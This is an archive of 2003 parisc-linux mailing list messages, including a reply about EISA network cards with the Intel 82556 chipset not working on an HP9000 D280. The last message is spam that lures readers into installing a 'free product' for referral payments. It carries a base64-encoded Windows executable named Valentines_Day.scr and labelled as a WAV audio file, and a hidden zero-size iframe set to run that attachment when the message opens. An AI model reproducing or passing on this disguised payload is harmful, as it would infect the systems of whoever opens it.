CPU B, checking time, and finding you apparently did all that in 0ns.

Richard



From - Thu Nov 08 21:28:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Jantzen <chris-parisc@maybe.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] eisa nic: intel 82556. Driver?
Date: Mon, 28 Jul 2003 19:41:35 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <20030729024135.GE21158@maybe.net>
References: <41001F95FE172B4593DE6F50CAAF2D581AA227@mailserver.tj.rs.gov.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="gMR3gsNFwZpnI/Ts"
X-Trace: ger.gmane.org 1416622631 28566 80.91.229.3 (22 Nov 2014 02:17:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Diego Francisco de Gastal Morales <Morales@tj.rs.gov.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 28 20:41:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.maybe.net (12-203-17-50.client.attbi.com [12.203.17.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34762482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jul 2003 20:41:36 -0600 (MDT)
Original-Received: (qmail 21665 invoked by uid 1000); 29 Jul 2003 02:41:35 -0000
Content-Disposition: inline
In-Reply-To: <41001F95FE172B4593DE6F50CAAF2D581AA227@mailserver.tj.rs.gov.br>
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19042

--gMR3gsNFwZpnI/Ts
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jul 28, 2003 at 04:55:25PM -0300, Diego Francisco de Gastal Morales=
 wrote:
> Hello,
>=20
> 	I just installed linux on a HP9000/D280. It's all fine, except the machi=
ne has two eisa fast ethernet cards, with intel 82556 chipset, and I can't =
make it work.
> 	I've already searched a lot the internet, this list archives, recompiled=
 my kernel with various modules, and I am just about to loose my faith. I'v=
e found a message just like "with this chipset on eisa, you're out of luck".
>=20
> 	Is it really so? Does anyone here heard of this nic working on linux par=
isc? Without fast ethernet, I'm afraid we'll have to give up putting linux =
on it.


I gave up on installing some EISA 3com cards in my C180. I believe the
dmac bridge in Linux isn't (yet) general enough to support anything
other than PCI.

That said, is Fast Ethernet really *that* important? You'd have to be
using the host to do fairly trivial tasks thousands of times per second
to saturate 100Mbps. In other words: at these CPU speeds, anything
seriously taxing will obviate your need for that much bandwidth. I do
builds over NFS and notice no appreciable performance hits. (And
certainly bandwidth monitors are never pegged on the network.)

--=20
chris jantzen kb7rnl =3D->         __O
Insert witty comment here.     _`\<,_
http://www.maybe.net/         (*)/ (*)

--gMR3gsNFwZpnI/Ts
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/Jd7f97VrQBIVkcQRArlwAJ9ovIU/EAK2pBDkiLYEU7HLPjMp7ACdHSaP
2p3NKboyn90Xhee1dlPsXAQ=
=NGtu
-----END PGP SIGNATURE-----

--gMR3gsNFwZpnI/Ts--


From - Thu Nov 08 21:28:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: wmj <wmjfriend@eyou.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Who is your Valentine
Date: Tue,29 Jul 2003 14:56:49 PM
Lines: 820
Approved: news@gmane.org
Message-ID: <20030729065825.A47E0482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary=#YKCYR43333#
X-Trace: ger.gmane.org 1416622631 28569 80.91.229.3 (22 Nov 2014 02:17:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 00:58:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.parisc-linux.org (unknown [202.113.25.81])
	by dsl2.external.hp.com (Postfix) with SMTP id A47E0482E
	for <parisc-linux@parisc-linux.org>; Tue, 29 Jul 2003 00:58:25 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19043

--#YKCYR43333#
Content-Type: text/html
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:C09ue625d16131oG height=3D0 width=3D0>
</iframe>
<FONT></FONT>
Hello,<BR>The attached product is send as a part of our official campaign<BR>for the popularity of our product.<BR>You have been chosen to try a free fully functional sample of our<BR>product.If you are satified then you can send it to your friends.<BR>All you have to do is to install the software and register an account<BR>with us using the links provided in the software. Then send this software<BR>to your friends using your account ID and for each person who registers<BR>with us through your account, we will pay you $1.5.Once your account reaches<BR>the limit of $50, your payment will be send to your registration address by<BR>check or draft.<BR><BR>Please note that the registration process is completely free which means<BR>by participating in this program you will only gain without loos
 ing anything.<BR><BR>Best Regards,<BR>Admin,</BODY></HTML>

--#YKCYR43333#
Content-Type: audio/x-wav;
	name=Valentines_Day.scr
Content-Transfer-Encoding: base64
Content-ID: <C09ue625d16131oG>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADR6StslYhFP5WIRT+ViEU/7pRJP5SIRT8WlEs/hYhFP32XTz/RiEU/lYhF
P5aIRT/3l1Y/nohFP5WIRD/tiEU/fZdOP5GIRT8tjkM/lIhFP1JpY2iViEU/AAAAAAAAAABQRQAA
TAEDAHoBXT4AAAAAAAAAAOAADwELAQYAALAAAAAQAAAAMAQA4OMEAABABAAA8AQAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAABQAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAABD1BAB8AQAAAPAEABAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAHJyMDEAAAAAADAEAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBy
cjAyAAAAAACwAAAAQAQAAKYAAAAEAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAPAEAAAI
AAAAqgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
